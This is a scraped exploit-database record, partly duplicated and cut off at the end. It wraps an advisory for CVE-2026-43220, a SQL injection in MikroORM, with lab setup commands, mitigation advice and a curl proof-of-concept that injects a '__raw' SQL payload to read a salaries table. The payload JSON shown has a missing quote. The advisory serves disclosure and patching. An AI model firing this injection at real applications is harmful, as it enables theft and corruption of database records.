{“lastseen”:”2026-05-06T16:46:20″,”description”:”MikroORM versions 7.0.5 and below suffer from a remote SQL injection vulnerability…”,”published”:”2026-05-06T00:00:00″,”modified”:”2026-05-06T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 MikroORM 7.0.5 SQL Injection”,”source”:””,”references”:””,”id”:”PACKETSTORM:220501″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[“CVE-2026-43220″],”sourceData”:”# CVE-2026-43220 MikroORM SQL Injection\\n \\n \u2605 CVE-2026-43220 MikroORM SQL Injection PoC \u2605\\n \\n https:\/\/github.com\/user-attachments\/assets\/33724cfc-6151-47ff-9415-2f50c5124cd1\\n \\n \\u003cbr\\u003e\\n \\n # Overview\\n \\u003e **CVE-2026-43220** is a **SQL Injection** vulnerability in **MikroORM**, a widely used TypeScript\/Node.js ORM framework. \\n \\u003e When a user-supplied value containing a `__raw` property is passed to a **Custom Type column** without validation, MikroORM’s `isRaw()` check identifies it as a trusted internal Raw SQL expression and inserts the attacker-controlled `sql` value directly into the generated query without type conversion or sanitization, causing **unintended execution of arbitrary SQL**.\\n \\n \\u003cbr\\u003e\\n \\n # Affected Versions\\n | Category | Version |\\n |—|—|\\n | **Vulnerable** | MikroORM **version \u2264 6.4.3** \\u0026 **7.0.0 \u2264 version \u2264 7.0.5** |\\n | **Patched** | MikroORM **6.4.4** \\u0026 **7.0.6** |\\n \\n \\u003cbr\\u003e\\n \\n # Impact\\n – Exfiltration of sensitive data from the database without authorization\\n – Corruption or unintended modification of existing database records\\n \\n \\u003cbr\\u003e\\n \\n # Environment\\n “`bash\\n docker build -t cve-2026-43220-mikroorm-vuln .\\n docker run –rm -it -p 3000:3000 –name mikroorm-vuln cve-2026-43220-mikroorm-vuln\\n “`\\n \\n \\u003cbr\\u003e\\n \\n # PoC\\n After starting the vulnerable environment, follow the steps below to reproduce the attack.\\n \\n ## Step 1. Send a request with a malicious payload containing `__raw`\\n Send a JSON body that includes a `__raw` property targeting a Custom Type column.\\n “`bash\\n curl -X POST http:\/\/localhost:3000\/write \\\\\\n -H \\”Content-Type: application\/json\\” \\\\\\n -d ‘{\\n \\”author\\”:\\”x\\”,\\n \\”title\\”:\\”x,\\n \\”content\\”: {\\n \\”__raw\\”: true,\\n \\”sql\\”: \\”(SELECT group_concat(name || ‘: ‘ || salary, ‘ \/ ‘) FROM salaries)\\”\\n }\\n }’\\n “`\\n \\n ## Step 2. Check the HTTP response\\n Verify that the API returns a successful response without any error,\\n indicating that MikroORM accepted the malicious payload as a valid value.\\n \\n \\n ## Step 3. Confirm sensitive data is exfiltrated into post content\\n Verify that the `content` field of the created post contains the query result\\n from the `salaries` table (e.g., `Alice: 5000 \/ Bob: 7000 \/ …`),\\n confirming that data from an unrelated table has been silently embedded\\n into the response without any error or access control violation.\\n \\n \\u003cbr\\u003e\\n \\n # Mitigation\\n – Upgrade to **MikroORM 6.4.4** or later, which introduces origin verification in `isRaw()` to reject externally supplied `__raw` properties\\n – Apply **whitelist-based input validation** to reject unexpected properties such as `__raw` before passing values to ORM layer\\n \\n \\u003cbr\\u003e\\n \\n # Analysis\\n – KR: https:\/\/www.skshieldus.com\/security-insights\/reports\/eqst-orm-injection-explained\\n – EN:”,”sourceHref”:”https:\/\/packetstorm.news\/download\/220501″,”cvss”:{“score”:0,”severity”:”NONE”,”vector”:”NONE”,”version”:”NONE”},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””}},”href”:”https:\/\/packetstorm.news\/files\/id\/220501\/”,”category_name”:”Exploit”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"
{“lastseen”:”2026-05-06T16:46:20″,”description”:”MikroORM versions 7.0.5 and below suffer from a remote SQL injection vulnerability…”,”published”:”2026-05-06T00:00:00″,”modified”:”2026-05-06T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 MikroORM 7.0.5 SQL Injection”,”source”:””,”references”:””,”id”:”PACKETSTORM:220501″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[“CVE-2026-43220″],”sourceData”:”# CVE-2026-43220 MikroORM SQL Injection\\n \\n \u2605 CVE-2026-43220 MikroORM SQL…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,12,13,33,53,7,11,5],"class_list":["post-51752","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-exploit","tag-news","tag-none","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n